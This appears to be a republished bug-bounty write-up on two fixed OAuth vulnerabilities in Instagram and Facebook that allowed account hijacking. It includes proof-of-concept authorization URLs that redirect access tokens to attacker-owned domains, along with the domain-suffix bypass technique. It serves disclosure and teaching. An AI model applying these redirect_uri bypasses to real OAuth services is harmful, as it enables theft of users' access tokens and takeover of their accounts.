Instagram Account Hacking:
    Nir Goldshlager Founder of Break Security find the critical vulnerability in Instagram. Succesful hack allows attacker to       access private photos and ability to delete victim's photos, edit comment and post new photos. 

    1. Hijack Instagram accounts using the Instagram OAuth (https://instagram.com/oauth/authorize/)
    2. Hijack Instagram accounts using the Facebook OAuth Dialog (https://www.facebook.com/dialog/oauth)

    He reported a few issues to Instagram Include OAuth Attacks, But the acquisition didn’t closed yet and Facebook Security     was unable to put their hands on security issues in Instagram, So I was waiting, Waiting like a good WhiteCollar, Then           Facebook Security send me a message, They say even that they was unable to fix this issues because the acquisition didn’t     closed yet, They will still payout for this vulnerabilities,

    So, first, checked Instagram’s OAuth protocol: (http://instagram.com/developer/authentication/)

    While researching Instagram’s security parameters, Nir noticed that Facebook Security had produced some impressive           results in regard to their own Instagram OAuth vulnerabilities. They essentially blocked access to any and all files,                 folders, and subdomains by validate the redirect_uri parameter.

    In addition, redirection was only allowed to go to the owner app domain. 
    Thus, hacker needed to locate some other way to get past their protection. Further complicating the issue was the fact that       you can’t use a site redirection / XSS on the victim’s owner app. This is because you have no access to the files or folders       on the owner app domain through the redirect_uri parameter.

    Block Files Folders

    For example:

    Allow request:

    https://apigee.com

    Block requests:

    Redirect_uri=https://www.breaksec.com

    Redirect_uri=https://a.apigee.com/

    Redirect_uri=https://apigee.com/x/x.php

    Redirect_uri=https://apigee.com/%23,? or any special sign

    As it stands, it appears that the redirect_uri is invulnerable to OAuth attacks.

    While researching, I came upon a sneaky bypass. If the attacker uses a suffix trick on the owner app domain, they can             bypass the Instagram OAuth and then send the access_token code to their own domain.

    For instance:

    Let’s say Nir app client_id in Instagram is 33221863xxx and my domain is breaksec.com

    In this case, the redirect_uri parameter should allow redirection only to my domain (breaksec.com), right? What happens       when we change the suffix in the domain to something like:

    Breaksec.com.mx

    In this example, the attacker can send the access_token, code straight to breaksec.com.mx. For the attack to be successful,       of course, the attacker will have to buy the new domain (in this case, breaksec.com.mx).

    PoC Bypass (Fixed By Facebook Security Team):

    https://instagram.com/oauth/authorize/?                                                                                                                                         client_id=33221863eec546659f2564dd71a8a38d&redirect_uri=https://breaksec.com.mx&response_type=token

    Game Over.

    Bug 2.

    With this bug, Nir used the Instagram client_id value through the Facebook OAuth                                                                     (https://www.facebook.com/dialog/oauth).

    When you use the Instagram app, it can be integrated with Facebook.

    For example:

    When a user wants to upload their Instagram photos to Facebook, they allow this interaction and integration to take place.

    Instagram Would like to access your public profile and friend list

    Nir discovered that an attacker can use virtually any domain in the redirect_uri, next parameter. This was actually sort of         baffling, and I don’t know why this happened, but it worked. You can literally use any domain in redirect_uri, next                 parameter via the redirect_uri in Instagram client_id.

    This effectively allows the attacker to steal the access_token of any Instagram user,

    With the access_token the attacker will be able to post on the victim behalf in his Facebook account, Access to his private       friends list.

    PoC (Facebook Already fixed this issue):

    https://www.facebook.com/connect/uiserver.php?app_id=124024574287414&next=http://files.nirgoldshlager.com&display=page&fbconnect=1&method=permissions.request&response_type=token